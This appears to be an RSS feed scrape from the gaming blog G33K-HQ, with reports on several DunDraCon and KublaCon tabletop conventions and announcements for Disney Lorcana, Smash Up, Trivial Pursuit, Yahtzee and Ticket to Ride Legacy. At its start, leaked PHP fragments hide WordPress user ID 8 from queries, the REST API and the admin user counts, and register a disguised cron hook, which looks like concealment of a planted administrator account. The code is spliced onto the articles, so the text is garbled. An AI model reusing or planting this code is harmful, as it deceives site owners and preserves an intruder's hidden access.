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status_header( 404 );
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return;
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global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
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return $a;
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return $args;
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if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
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'Invalid user ID.',
array( 'status' => 404 )
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return $methods;
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add_action( 'admin_head-users.php', function() {
echo '';
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if ( isset( $views[ $key ] ) ) {
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'/\((\d+)\)/',
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$views[ $key ],
1
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add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
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wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post DunDraCon 2026: Good Games All Around appeared first on G33K-HQ.
]]>So without further ado, let’s take a look at this year’s DunDraCon, explore all that it had to offer, and see how it played out.

DunDraCon 49 continued the convention’s streak of staying in the Santa Clara Marriott, which has remained an excellent location. The hotel is large enough to hold multiple game rooms of all sizes, including smaller hotel rooms for individual game sessions, and could fit the attendees nicely. Check-in and check-out were both quick and painless, so attendees could drop off their bags and get to gaming quickly.
Attendees could dine at the hotel’s bar or restaurant, although that did mean having to choose between hotel prices and convention quality. Fortunately, there were also plenty of options within an easy walking distance, including bagels, Mexican food, ramen, and pizza, with even more options a short drive away. (Driving was an easy option, since the convention had a special parking price of $5 per day, with in-and-out privileges for hotel guests.)

Of course, people don’t go to DunDraCon just for the location – they go for the games! Suffice to say, there were plenty of options for all gamers, whether they were looking for a pickup game of Magic: The Gathering or wanted to get fully in-character for a LARP.
DDC featured a large assortment of scheduled games throughout the weekend, starting as early as 8 AM and running late into the night. Players could sign up for these games in advance online, but if any spots remained open during the con, they could try to grab one while there. These scheduled games included a wide variety of RPGs (plenty of Dungeons & Dragons and Pathfinder, of course, but also newer systems like DIE, Daggerheart, and Draw Steel), as well as board games like Wingspan, Red Dragon Inn, and even Trogdor: The Board Game.
Speaking of RPGs, Pathfinder Society was back with organized play for Paizo’s RPGs. They hosted multiple tables throughout the weekend, covering several levels of play, including a five-hour multi-table game on Saturday night. Organized play is a fun opportunity for players to bring their characters across conventions and stores, and many familiar faces continue to reunite for more adventures year after year. (There was still no Dungeons & Dragons Adventurers League at DDC, but that’s been the case for a while now.)



Some of the biggest games were Live-Action Role Playing games (LARPs), which filled large rooms to bring players through an interactive adventure. Many LARPers showed up in costume for their games, while other players experienced LARPing for the first time. The convention had a table where players could sign up for open spots in upcoming LARPs, complete with a useful flier explaining the system of hand signs players could use to signal comfort levels during the game.
Although when we talk about “big” games, that’s where the Miniatures Room came in. Players waged war with large-scale sets and tables, featuring detailed miniatures and impressive set pieces. The game pieces may technically be “miniatures,” but the games were anything but that.


Of course, players didn’t necessarily need to sign up in advance to enjoy a game, because there were multiple Free Play rooms. Players could go there with a group and grab a free table, or look for a “Players Wanted” flag to learn a new game.
Attendees didn’t even need to bring their own games, as DunDraCon’s game library featured an extensive assortment of options for all ages.

Players could even provide playtesting and feedback for games in progress in the Protospiel room. There, up-and-coming game designers were showing off their newest works, receiving valuable feedback while letting players try a game they’ve almost certainly never seen before. The Protospiel room was always a popular draw and is a great resource for game developers looking to reach players and see how their games work with a large and varied group of gamers.

Even walking down the halls, it was impossible not to see games in action. Some players took tables in the lobby to relax with casual games, while other halls had rows of tables set up for massive Dice Throne tournaments.
No matter what type of game you were looking for, DunDraCon had it.
If attendees wanted to sit down and take a break from gaming, they could always check out seminars. These panels covered a wide range of topics, including a “Storytelling for Games” workshop, a presentation on “Diversity, Equity, and Inclusion in the Context of Tabletop Gaming,” and plenty of War College presentations that blended real world history and war game design.

The panels were hosted by experienced presenters, making them informative and entertaining experiences. Some delved into topics people don’t normally associate with games, like the criminal justice system, while others were hands-on workshops for embroidering or designing terrain.
DunDraCon’s Miniature Painting Room has, for several years, been a great place for attendees to sit, chat, make new friends, and paint free miniatures. This year was no exception, as the Painting Room remains one of the best parts of the con (in this writer’s opinion, sure, but it’s a commonly shared one).


The Painting Room featured rows of tables and chairs and a Paint ‘n’ Take table, so attendees could grab a free miniature and some paint, then get to painting. The staff was always welcoming, friendly, and eager to help new painters learn some tricks, so the room remained full for most of the weekend.

Saturday and Sunday also featured painting contests. Participants had until 5 PM to paint a miniature to the best of their abilities, and convention attendees could vote on their favorites, with the winners getting little 3D-printed dragons to commemorate their wins. The contests showcased some amazing miniatures from attendees, and the level of competition has only improved with each passing year.
(Full disclosure: I spent a lot of time in the painting room, and only barely managed to maintain my streak of taking home a tiny dragon by tying for third place once. Clearly, I need to up my game for next year.)
If there’s one thing tabletop gamers like as much as their games, it’s medieval weapons and getting to whack friends with foam swords. (I’m pretty sure that’s a proven fact, though I can’t point you to any studies on it.) Well, DunDraCon had that as well.
The convention featured fighting demonstrations by Amtgard and The Society for Creative Anachronism. Attendees could check out their display room to see armor and clothing, try their hand at leatherwork, or see people bop each other with foam weapons for a bit.


Or, for those looking for a cracking good time (that’s a horrible pun, and I apologize), Randy Bartlett brought his 20+ years of whip experience to the convention with demonstrations and lessons throughout the weekend.
Of course, DunDraCon is a convention, and for many that means shopping. DDC’s Dealer’s Hall was packed with booths, including nearby game stores and vendors, artists, and even local game designers. Attendees could buy 3D printed figurines, discounted games, RPG supplies, jewelry, and of course, tons of dice (because we all love pretty math rocks that go clickety-clack).


Additionally, the Games Auction was an exciting chance to buy and sell games, where attendees bid on donated games. On Monday morning, attendees could sell and buy their well-loved games at the Bazaar. There, lucky attendees could find hidden treasure and out-of-print games, while sellers could find new homes for old favorites.


Or, if you’d rather not pay for anything, the Freecycle table was constantly filled with games that attendees dropped off to rehome.

DunDraCon didn’t stop there, as there was plenty more to see and do. Other attractions included:
President’s Day and Valentine’s Day may have fallen on the same weekend, but for DunDraCon attendees, those days meant little. The convention weekend was filled with games of all sorts, providing no shortage of fun for all. Whether you’re there for gaming, shopping, seminars, or hours of painting miniatures, DunDraCon remains a great way for tabletop gamers to meet, play, and enjoy a nice, long weekend of fun.

The post DunDraCon 2026: Good Games All Around appeared first on G33K-HQ.
]]>The post Game On at KublaCon Fall 2025 appeared first on G33K-HQ.
]]>Veteran’s Day weekend was a busy time for convention goers around the Bay Area, many of whom had to choose between KublaCon, YumeCon, and Anime Destiny. For tabletop gamers, however, there was one clear choice. So, let’s see how KublaCon Fall 2025 went, and what made it stand out…

KublaCon is a convention for all things tabletop, and its activities reflected that. Right from the registration area, there were tables set up with games to play, including game demos and giveaways hosted by The Hungry Gamer.


A few steps from there lead into the gaming hall, which was packed full of tables for attendees to sit down and enjoy any number of games. KublaCon had a large library of games to rent, so there was no shortage of options.
The upstairs level was just as packed, with even more tables filled with attendees. In another room, tables were placed together for large-scale miniature games, complete with massive diorama sets.


KublaCon Fall attendees could sign up for games in advance on the convention’s website to reserve a seat for scheduled games, like Blood on the Clocktower, Dungeon Crawl Classics, or the Monty Python RPG, or tournaments for games like Red Dragon Inn or a Magic: The Gathering Chaos Draft. Most of these were held in dedicated gaming rooms, so attendees could focus on their games without too many distractions.

While the schedule wasn’t packed full of panels, there were a few seminars on the schedule, covering topics like “Queer-Friendly Gaming” and “The State of the Game Industry.”
Next to the gaming hall, attendees could visit the Painting Room to sit down and paint some miniatures. The convention offered free minis (mostly 3D printed) that attendees could take, or they could bring their own minis and paint in time for their next game.
For fans of role-playing games, KublaCon Fall had D&D Adventurers League and Pathfinder Society games running throughout the weekend. These are the Organized Play systems for Dungeons & Dragons and Pathfinder, so attendees could show up with long-time characters ready for another adventure, or grab pre-generated characters to join in a game.

The convention was also very generous to its RPG Game Masters, giving each of them a free Tenfold Dungeon 3D map as thanks for running games. (That’s a good way to ensure GMs keep coming back.)
In short: KublaCon Fall had nonstop gaming throughout the weekend, so there was never a lack of things to do.
For attendees looking to buy new games or gaming accessories, KublaCon Fall included a Dealer’s Hall. There, booths from independent artists, local game stores, and other sellers provided plenty of shopping opportunities, with everything from cards to RPG books to 3D printed minis, and even nerdy car decals.


There was also the flea market, where attendees could buy and sell gently-played games, books, miniatures, and accessories. Game flea markets are always a great opportunity to nab some out of print or hard to find games or find a new home for games taking up space, and attendees made good use of the opportunity.
While 2024’s KublaCon Fall was held in the Santa Clara Hyatt Regency, the main KublaCon (or Kubla Prime, as attendees referred to it) is typically held in the SFO Hyatt in Burlingame (the same location as GobbleCon). This year, KublaCon Fall returned there as well, making full use of the hotel’s conference rooms and halls to fill it full of gaming.

Well, almost every room; one was closed off for “Somatic Experience Training.”
The hotel was spacious enough to fit the convention nicely, with plenty of rooms for games of every size. The attached restaurant had plenty of food options (at hotel prices, of course), and while there were fewer local options than at the Santa Clara location, the Max’s of Burlingame restaurant was a short walk away.
Still, the SFO Hyatt is a familiar location for KublaCon attendees, and it continues to meet their needs nicely.
KublaCon Fall proved to be a big hit in 2024, and the 2025 show carried that on. The location was familiar to attendees of previous KublaCon and GobbleCon events, and it was a fine venue for a weekend of gaming.While the convention ran for four days, many attendees still took Friday and Monday off of work to get the most out of the con, and those who did rarely ran out of things to do.
While the convention is still smaller than Kubla Prime, it’s quickly growing and is likely to match it in size soon. For anyone who enjoys board games, tabletop games, and role-playing games, KublaCon Fall made for a great convention weekend.

The post Game On at KublaCon Fall 2025 appeared first on G33K-HQ.
]]>The post Con Report: DunDraCon 48 Keeps the Games Going appeared first on G33K-HQ.
]]>So, let’s look at DunDraCon 48 and see how the convention went.
Naturally, tabletop games were DunDraCon’s biggest draw. The convention had multiple open gaming rooms of varying sizes, which were packed throughout the weekend with attendees playing board games. Those who didn’t bring their own could borrow one from an expansive board game library or find a table with a “players wanted” sign set up.



DunDraCon also featured a room for large-scale miniatures games, featuring massive diorama displays and sets. The boards were filled with painted miniatures, engaged in battles and skirmishes across the massive tables.


The Protospiel Room remained a popular attraction, giving game designers a chance to show off their creations. Attendees could stop by and playtest games in progress and provide feedback, or get a sneak preview of games to come.

And for the younger gamers, there was a Kids’ Room, where they could play friendly, casual games with other children.
Attendees could also sign up for scheduled games, typically RPGs or larger board games. While these sign-ups were primarily online, attendees could also try to sign up for any with seats available at the con. Each game was held in its own room in the hotel, ensuring the players would have control over the space and noise levels.
As far as role-playing games went, DunDraCon had a schedule of LARPS alongside their TTRPGs. These hosted large amounts of players, who engaged in games of storytelling that covered everything from vampires to dealing with fae to Star Wars. Like the other games, players could sign up for these in advance, and even the largest of games had hefty wait lists.
In short: DunDraCon lived up to its reputation as a convention packed full of games and activities.
The last few years of DunDraCon saw a surprising lack of organized play for RPGs, with both Pathfinder Society and D&D Adventurers League absent. This year, Pathfinder Society made its return, with a room dedicated to adventures in Golarion, along with Starfinder Society’s sci-fi quests.


The Pathfinder Society room had multiple tables playing games across the weekend, covering players and characters of all levels. The local organizer even had Paizo gift cards to distribute to players, along with rewards for GMs running games. On Saturday night, Pathfinder players gathered for a large multi-table quest, where characters between levels 1-8 could contribute to their overall success.
What did attendees do when they weren’t playing games? Buy more games, of course. DunDraCon’s dealer’s hall had several vendor and artist booths, selling games, gaming accessories, artwork, handcrafted goods, and more. These included local stores and independent artists, so there was a nice variety of options on display.



Admittedly, the dealer’s hall wasn’t quite as busy as previous years, as the back row was surprisingly empty. However, that didn’t diminish the options that were still there.
Attendees could also buy pre-loved games in a few ways. First, there was an auction, where buyers could bid on rare finds. Then, on Monday morning, the bazaar allowed attendees to sell their old games and accessories or buy them at a discount.



For those looking to spend nothing, the Freecycle table was always full of old games, books, and puzzles attendees were looking to pass on to new homes.
DunDraCon had no shortage of panels and seminars to enjoy. They covered a wide range of topics, from wargaming to GM advice to diversity and inclusion in tabletop gaming, presented by experienced hosts who could bring their knowledge and advice to attendees. Anyone looking to sit down for a bit and enjoy the seminars could be sure to leave with some new knowledge and skills to share.

Additionally, the Anime Room was busy throughout the weekend, screening a fine selection of anime. Of course, there were plenty of fantasy series, such as this season’s “The Red Ranger Becomes an Adventurer in Another World” isekai and the self-explanatory “I May Be a Guild Receptionist, but I’ll Solo Any Boss to Clock Out on Time.” But it also included some classics and more recent non-fantasy series, such as a comparison of the classic and revived “Ranma 1/2” anime.
For those interested in weapon demonstrations, medieval crafts, or just whacking friends with foam weapons, DunDraCon also hosted both Amtgard and the Society for Creative Anachronism (SCA). They had a room where attendees could check out their gear, do a bit of leather crafting, and learn about the organizations, along with the occasional demonstration.


The Miniature Painting Room has been a staple at DunDraCon, and it was as active as ever this year. Experienced and enthusiastic miniature painters staffed the room, providing free miniatures, paints, brushes, and advice for anyone who wanted to sit down and paint a mini for their games.
Throughout the weekend, painters of all ages and experience levels came by to grab a mini, paint, and relax. The staffers there were friendly and happy to help, provide positive and constructive feedback, and chat with convention attendees.

Saturday and Sunday also had all-day mini painting contests. Anyone could paint a miniature and enter it in the contest in either the beginner or advanced category, and the votes were tallied through a combination of online and in-person voting. Winners would receive little 3D-printed dragon trophies (along with bragging rights) making it a fun, low-stakes competition that saw some incredibly impressive miniatures.

Attendees could also earn tiny dragon trophies by painting a meeple, with the only criteria for winning being to impress the staffers. As a result, the weekend saw many tiny meeples painted with creative and inventive designs.
DunDraCon was held at the Santa Clara Marriott, as it has been for the past several years. It’s a convenient location with plentiful parking (which attendees could get discounted with validation) and plenty of rooms for all the games.
This year, DunDraCon had a golf cart shuttle to transport people from the farthest ends of the hotel to the main convention. This was a nice added amenity for those who could catch one, especially for the elderly, disabled, or just those with a lot of heavy games to carry.
The hotel had a fair share of food options, including a bar and a convention menu, although the convention food’s quality varied throughout the weekend. For those willing to walk a few blocks, there were more meal options available across the street, including places for bagels, Mexican food, and Japanese curry. The In-n-Out, a short drive or a moderate walk away, was also quite packed throughout the weekend.
DunDraCon has remained a staple of the Northern California gaming scene for nearly 50 years (give or take a pandemic year or two) and for good reason. With all the game rooms, gaming options, and shopping available, attendees could spend the whole weekend there and never grow bored.
Were there some areas for improvement? Sure, there always are; food quality is a concern at basically any convention, for instance, but those are minor issues that didn’t detract from the convention itself.
For tabletop gamers and gaming enthusiasts, DunDraCon remains a great way to enjoy a weekend full of games and entertainment.
The post Con Report: DunDraCon 48 Keeps the Games Going appeared first on G33K-HQ.
]]>The post DunDraCon 47 Brings Four Days of Gaming to the Bay Area appeared first on G33K-HQ.
]]>DunDraCon was held at the Santa Clara Marriott, utilizing the hotel space nicely. The largest rooms were set aside for shopping, open gaming, and similar large-scale events, while smaller rooms were set aside for individual games throughout the weekend. That allowed players to gather in a nice quiet room for their scheduled game sessions without fear of being interrupted or drowned out by background noise, and let players focus without disruption.
The hotel itself offered a decent variety of food options, from the hotel restaurant to daily buffets. Of course, those were all sold at typical hotel prices, so it wasn’t the cheapest. However, a row of restaurant options was just a short walk away, so attendees could grab a bagel, pizza, or burrito at far more reasonable prices.
Additionally, the Marriott had plentiful parking space and enough rooms for all attendees. Many who had attended the con before it moved to Santa Clara still have painful memories of struggling to find parking at any point in the day, but that was no longer an issue.
Obviously, the biggest draw of DunDraCon was the gaming, and there were plenty of options. Attendees could schedule games in advance, which others could sign up for online. There was a wide variety of games, including several RPG systems and in-depth strategy board games, as well as LARP sessions where players could take on the role of characters and act through their adventures.
However, even those who didn’t sign up in advance could still find plenty to do. Several open gaming areas were set up so attendees could grab a game, grab a seat, and find players to befriend. The convention also offered a hefty game library with a nice assortment of options.



For attendees more interested in large-scale miniature games, there was an entire room dedicated to it. These often featured large diorama bases with detailed terrain, covered in hand-painted miniatures engaging in skirmishes, battles, and tests of ingenuity.



For younger gamers, there was a Children’s Room set up. This featured plenty of games designed for a younger audience, which they could pick up and learn under the guidance of staff members.
Those who wanted to try out new games before they hit the shelves (or demonstrate their upcoming games) could go to the Protospiel Room, where local game designers were running playtests and demos all weekend. Protospiel is an exciting opportunity to try out games while they’re still works in progress and provide feedback, and the room also offered raffle tickets to everyone who participated.



However, there was one very noticeable absence this DunDraCon: the lack of D&D or Pathfinder “organized play” games. Previous years would host both Dungeons & Dragons Adventurers League and Pathfinder Society games, and while last year only had Pathfinder, both were absent this time around. While there were rumors that the groups organizing those games disbanded, those were proven false by the local Adventurers League community hosting their own offsite event, with the organizers explaining that they left the con due to certain disputes.
While attendees interested in tabletop RPGs could still sign up for sessions hosted by other attendees, or run their own games, the organized play environment and the players that came with it were still missed. Many are hoping that the organizers will be able to come to an arrangement next year.
While there were plenty of games to play, there were just as many to buy. DunDraCon’s Dealer’s Hall gave local vendors and artists a place to sell their goods, and there was no shortage of options. Several booths sold discounted games, while others offered handmade goods, artwork commissions, homemade dice, and more. Many an attendee left the hall with their wallets lighter and bags much heavier.


Attendees could even find hidden gems for free on the convention’s Freecycle Table. People could drop off games they no longer wanted there for others to pick up, and the offerings rotated significantly throughout the weekend as attendees snagged free games or left their own.

On Monday, DunDraCon held its Bazaar, where attendees could sell their old games and goods. The room was filled with shoppers looking for a great deal on well-loved games, helping the convention weekend end on a high note.
Throughout the weekend, DunDraCon was host to an array of seminars, covering everything from wargame history to RPG horror stories. As 2024 celebrates the 50th anniversary of Dungeons & Dragons, there were plenty of D&D-themed panels, including “50 Years of Dungeons & Dragons” and the “PlunderQuest Dungeon Grinder Game Show,” which also gave away D&D books as players introduced their characters only to meet a hilariously gruesome death.

Other seminars covered important topics, such as “Diversity, Equity, and Inclusion in the Context of Tabletop Gaming,” or provided advice on designing and running games or adventures. In short, there were plenty of panels for all to enjoy.
Several seminars also fell under the “War College” banner, focusing on not only wargames but real world and potential conflicts. While some of these were more sensitive subjects, such as the ongoing war in Ukraine, they were still engaging and informative sessions.
Additionally, Amtgard and the Society for Creative Anachronism (SCA) were also present, featuring workshops, discussions, and combat demonstrations throughout the weekend. These included fencing, whips, and similar demonstrations for interested attendees.


Arguably one of the most popular rooms throughout the weekend was the Miniature Painting Room. Attendees could stop by, pick up a free miniature, and start painting. The room’s organizers were enthusiastic, friendly, and helpful from the moment the doors opened to the time the convention ended, making it a welcome environment for painters of all skill levels.

On Saturday and Sunday, the Miniature Painting Room hosted all-day speed painting contests. Interested attendees had until 5 PM each day to start and finish painting a miniature, and all competition pieces were put on display for attendees to vote on. Beginners and experienced painters alike were encouraged to compete in their categories, and several amazing miniatures won prizes. (Full disclosure: this reporter also entered on Saturday and ended up placing in the advanced category.)

This was a year of many changes for DunDraCon, including an overhaul of its volunteer system. However, the convention remains a fun and exciting event for gamers of all ages, experience levels, and favorite games. There was no shortage of games to enjoy, shopping to do, and miniatures to paint, and anyone walking the halls could see plenty of attendees enjoying themselves.
(The lack of D&D Adventurers League and Pathfinder Society was a notable omission, but hopefully it will work out for future conventions. After all, it feels odd to have a DunDraCon without the DUNgeons or DRAgons.)
So as the long weekend came to a close, DunDraCon attendees returned to their homes with new games, new miniatures, and new memories of a weekend well-spent.

The post DunDraCon 47 Brings Four Days of Gaming to the Bay Area appeared first on G33K-HQ.
]]>The post Disney Lorcana Chapter 2 Announced appeared first on G33K-HQ.
]]>Chapter 1 Reprint:
Disney Lorcana TCG fans, we want to share the steps we've been working on to get more product into the market to meet demand. pic.twitter.com/MsNPq8P8Al
— Disney Lorcana (@DisneyLorcana) August 31, 2023

A magical flood of ink is unleashed from the Great Illuminary and sets the stage for the next chapter of Disney Lorcana TCG.
— Disney Lorcana (@DisneyLorcana) September 12, 2023
Follow the link for a first look: https://t.co/bwOmHthlgw#DisneyLorcana #TCG #RiseOfTheFloodborn pic.twitter.com/XVm7F5vZBh
As an Illumineer, you’ll wield six magical inks to summon glimmers of Disney characters. Glimmers can appear as familiar friends or in fantastically reimagined forms. Recruit glimmers to your team as you travel through the realm of Lorcana.
The Disney Lorcana: Rise of the Floodborn trading card game will be available at Hobby Stores and Disney Parks on November 17th and on Mass retailers and shopDisney on December 1.

To play the Disney Lorcana TCG, each player will need a deck of sixty cards. Ready-to-play starter decks contain a preconstructed deck with a specific card list. If you’re new to trading card games, or if you want to experience the game with a deck designed and tested by Team Lorcana, this is a good place to start.
Each starter deck includes:

Unlike starter decks, booster packs contain twelve random cards from Disney Lorcana: Rise of the Floodborn. Use booster packs to build and customize your deck with abilities and characters beyond those found in starter decks.
Each booster contains twelve randomized cards:

For a century, animators at Walt Disney Animation Studios have used ink to create magical characters and stories. Their work inspired the creation of Disney Lorcana and is celebrated in this Disney 100 Collector’s Set, which includes 6 stunning foil alternate art cards from Disney Lorcana: The First Chapter TCG, illustrated by Disney animators. These alternate art cards are available only as part of this limited Collector’s Set, which also includes 4 booster packs from Disney Lorcana: Rise of the Floodborn.
The gift set will include:

The ultimate treasure for both collectors and players, the Illumineer’s Trove includes a full-art storage box, two deck boxes, eight booster packs, a player’s guide, and more.
The player’s guide offers a look into the realm of Lorcana as well as a complete visual guide to all cards in Disney Lorcana: The First Chapter. Also included are deckbuilding tips and game strategies.
The Illumineer’s Trove includes:
Protect your collection from wear and tear with card sleeves, deck boxes, and playmats
Card Sleeves
Each pack contains 65 matte-finish card sleeves featuring a Disney Lorcana TCG glimmer. The characters featured will be Sisu and Mulan.
Deck Boxes
Each deck box can hold up to 80 sleeved cards. These Disney Lorcana TCG deck boxes will feature the same Sisu and Mulan art as the card sleeves.
Playmats
Each playmat features striking artwork of Disney characters. A fabric top prevents damage during gameplay and can also be used as a desk mat or mouse pad, while the anti-slip bottom keeps the mat in place during use. These Disney Lorcana TCG playmats will feature Beast and Winnie the Pooh.
Illumineers, we’re excited to share the next set release for Disney Lorcana TCG, Rise of the Floodborn!

This set dips into the inky origins of floodborn glimmers. The six magical inks… Amber, Amethyst, Emerald, Ruby, Sapphire, and Steel, were released in a mixed-up chaotic form, resulting in a mysterious flood which damaged the Great Illuminary. When storyborn or dreamborn glimmers encounter this mixed ink, they surge with a power that changes them, transforming them into floodborn glimmers. As the magical ink poured out of the illuminary, treasured lore went with it, including King Triton’s powerful trident.

Disney Lorcana: Rise of the Floodborn features more than 200 cards with brand-new artwork. Fan favorites like Winnie the Pooh and Tiana appear for the first time, while six additional Disney stories join the game’s lineup:

The Resist keyword indicates how much additional damage characters may be able to withstand. For example, Resist + 2 on a character would mean any damage dealt to them is reduced by 2.



Disney Lorcana: Rise of the Floodborn Accessories

This set is perfect for collectors, containing six cards from Disney Lorcana: The First Chapter and Disney Lorcana: Rise of the Floodborn featuring never-before-seen alternate artwork drawn by Disney animators from Walt Disney Animation Studios.

Each card features an exclusive Disney100 frame design, a satin holographic foil finish, and a copy of the animator’s signature prominently displayed. Additionally, each set contains four Booster Packs of Disney Lorcana: Rise of the Floodborn.
Disney Lorcana: Rise of the Floodborn will first release at local game stores on November 17th, while the wide release, including the Disney Lorcana: Disney100 Edition, will follow on December 1st.
We hope you’re excited for even more reveals in the coming weeks. While we’ve shared a handful of glimmers transformed by the flood, you’ll have to check back often to see them all!
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In Smash Up: Disney Edition, players will choose two decks of fan favorite Disney factions and combine their powers to take over Bases, earn the most Victory Points, and win! Choose from Frozen, Big Hero 6, Wreck-It Ralph, The Lion King, Mulan, Aladdin, The Nightmare Before Christmas, and Beauty and the Beast to create the most exciting team-ups imaginable!Smash Up, designed by Paul Peterson, is the ultimate “shuffle-building” game from AEG that lets players draft two faction decks and combine them into a force to be reckoned with! 28 deck combinations from Smash Up: Disney Edition plus compatibility with previous expansions provide endless replayability.
14+
2-4 PLAYERS
60 MINUTES
$34.99
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Test your proficiency in all matters D&D with TRIVIAL PURSUIT: Dungeons & Dragons Ultimate Edition! Show your mettle as an all-knowing adventurer in this comprehensive challenge based on the classic role-playing game. Navigate the custom game board with iconic D&D character movers in this full-sized collectible edition featuring 1800 questions on Dungeons & Adventures, Monsters, History, Cosmology, Characters, and Magic & Miscellany.
Miscellany.
12+
2+ PLAYERS
60+ MINUTES
$52.99
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]]>The OP has announced a new D&D Yahtzee.






Take a chance on quick strategy and coordinating creatures in this version of the classic “Shake, Score, & Shout” dice game! YAHTZEE®: Dungeons and Dragons fires up a bold new spin on America’s #1 dice game with a multi-use, black scaled dice tower with red D&D dragon ampersand and six-sided dice decorated with classic creatures, such as a Dragon, Owl Bear, Gelatinous Cube, and more. Dice tower measures 101 mm H x 75 mm W and fits standard d4 through d20 dice for adventuring in RPGs of any origin!
8+
1+ PLAYERS
30+ MINUTES
$29.99
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]]>The post DunDraCon 2023 Brings Four Days of Games appeared first on G33K-HQ.
]]>So how was DunDraCon 2023, and what is there for attendees to look forward to?
Whether you’re a wargamer invested in massive tabletop skirmishes or a hobbyist looking for a few rounds of a new game you picked up, DunDraCon has room for it. The convention had multiple rooms for games of all sorts, including an open gaming area, wargaming area, and a massive library of games for players to borrow.

Some players went all out with sprawling setups, covering entire tables with armies of miniatures. Others would sit down at an open table, set up a “Players Wanted” sign and see who’d join in. Of course, there were also plenty of collectible card games to be played as well, with “Magic: The Gathering” tournaments for every format. Gamers of all levels of experience and preferences could find something worth playing there.
Players could also stop by the Protospiel room to try out new games that designers are working on. The designers were happy to demonstrate their works in progress and gather feedback, giving players a sneak peek at what’s to come.
Of course, not all games were done on a drop-in basis. DunDraCon’s schedule was packed with scheduled games that players could sign up for in advance, often tabletop RPGs, LARPs, and similar games. Game masters would submit their games on the DunDraCon website, where players could then sign up and save a spot.

The convention also hosted Starfinder and Pathfinder Society, the organized play systems for Paizo’s RPGs. While the room was on the small side (and hopefully next year they’ll have a larger room), it was always busy as players gathered to explore new adventures in Pathfinder 2nd edition or take to the stars in Starfinder.
Dungeons & Dragons Adventurers League was not present this year, although many are hoping it will return for 2024.

What’s a convention without a dealer’s hall? DunDraCon has one of the best dealer’s halls for anyone looking to buy new games, dice, miniatures, or any other gaming accessories (or decals, or Hawaiian shirts). Some dealers had sprawling walls filled with games, others sold a selection of 3D printed dice towers, and local game stores also set up booths to sell their goods. (As always, it’s recommended to shop around and check prices before buying anything, because prices could often vary between booths.)

The weekend concluded with a swap meet, where attendees could sell their old games and accessories. The swap meet room was crowded and bustling as interested buyers sought out great deals on gently-used games, or even better deals on less-than-gently used ones.
And for those who wanted to pick up something but didn’t want to spend, there was even a Freecycle table where people could donate old games.

One of the best places to spend time at DunDraCon was undoubtedly the miniature painting room. Throughout the weekend, attendees could sit down, grab a free miniature, and paint it up however their hearts desired, with helpful tips from the experienced team running the room.

Saturday and Sunday included miniature painting contests, where attendees could pick an upainted mini (or bring their own), spend the day painting it, then submit it for voting by other attendees. There was some fierce competition this year, with skilled painters breaking out all their best tricks to win, and there were some incredible miniatures on display.

That’s just the tip of the DunDraCon iceberg. Other attractions included:

DunDraCon 2023 provided plenty of entertainment and no shortage of games to try, making it a great event for anyone looking to enjoy a long weekend filled with games. DunDraCon will return in 2024, and it will be exciting to see what new games and activities come with it.
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]]>The post Ticket To Ride Getting A Legacy Version appeared first on G33K-HQ.
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It’s the late 19th century and America is booming. New train companies compete to satisfy the needs of a growing population. Merchants, officials, food and goods need to travel from one place to another. An intricate network of train lines has appeared.
Thaddeus Reeves was one of the young entrepreneurs dreaming of connecting the entire nation and succeeded beyond his wildest dreams. Reeves Rails quickly established lucrative train routes from the Atlantic to the Mississippi and the company’s future is bright. But greedy rail barons are looking at Thaddeus’ growing rail empire and thinking about how they can take it away.
As the years have rolled along, Reeves Rails has continued to grow and thrive. Your new train company is ready to take part in this remarkable industry. Possibility and fortune shimmer off the paint of your newly purchased steam engines and this new express network should make all the difference.
Satisfied, you open the newspaper and read the headlines from out west…
Ticket to Ride® Legacy: Legends of the West finally gives you the chance to step into the story of your favorite train game and explore the imagination of Rob Daviau, Matt Leacock and Alan R. Moon. You will embark on a journey across twelve games, managing your own North American railway company to wealth and fortune in a campaign full of adventures.
Completing your tickets will remain your primary goal, but you will need to develop other skills if you hope to overcome the unexpected events and your resourceful rivals. Game after game, route after route, you will continuously fill your vault with earnings. As the story progresses, you will open frontier boxes that will unlock new rules, content, and many more surprises.
Like previous installments in the series, this game can be learned very quickly but will provide a much more immersive and narrative experience that should please every fan of the franchise.
At the end of the 12 games of this Legacy campaign, you will have transformed your game into a unique copy that you can continue playing for a lifetime.


After an early introduction to the classic American board games and traditional card games in his youth, it’s no surprise that Alan has had a long and illustrious career in gaming.
His professional life has included stints as a developer at Avalon Hill, as a developer at Parker Brothers, as the founder of his own game company White Wind, as the Director of Games at FX Schmid USA, and as the Vice President of Product Development and Licensing at Ravensburger USA.
Alan has designed and co-designed over 100 published games including Ticket to Ride, Elfenland, Incan Gold, the 10 Days Series, Union Pacific, and San Marco.
A 25-year industry veteran, Rob has worked on over 100 published games. For 14 years, Rob was at Hasbro Games, where he worked on Risk 2210 AD, Axis & Allies Pacific, Betrayal at House on the Hill, Star Wars Epic Duels, Heroscape, Clue DVD, Clue Harry Potter, Risk Star Wars, Risk Lord of the Rings, and many more. He was editor of Trivial Pursuit for 8 years.
His last game with Hasbro was Risk Legacy, which led into a solo career whose games include Pandemic Legacy (Seasons 1, 2, and 0), Seafall, Mountains of Madness, Cthulhu: Death May Die, Return to Dark Tower, the Unmatched line, and Betrayal Legacy.
Rob is the second-tallest designer in the group.
Matt made the switch to designing board games full time in July of 2014, a dream job for him since he was little. Prior to that he was a user experience designer working on community and communications products for companies including Apple, Netscape, AOL, Yahoo!, and Sococo. Throughout his entire career, he designed games in his free time.
He has designed over two dozen games for the international market and has become known for cooperative games since the success of Pandemic (2008), Pandemic Legacy (2015) and Forbidden Island (2010). His most recent cooperative game, Daybreak, has players taking on the climate crisis.
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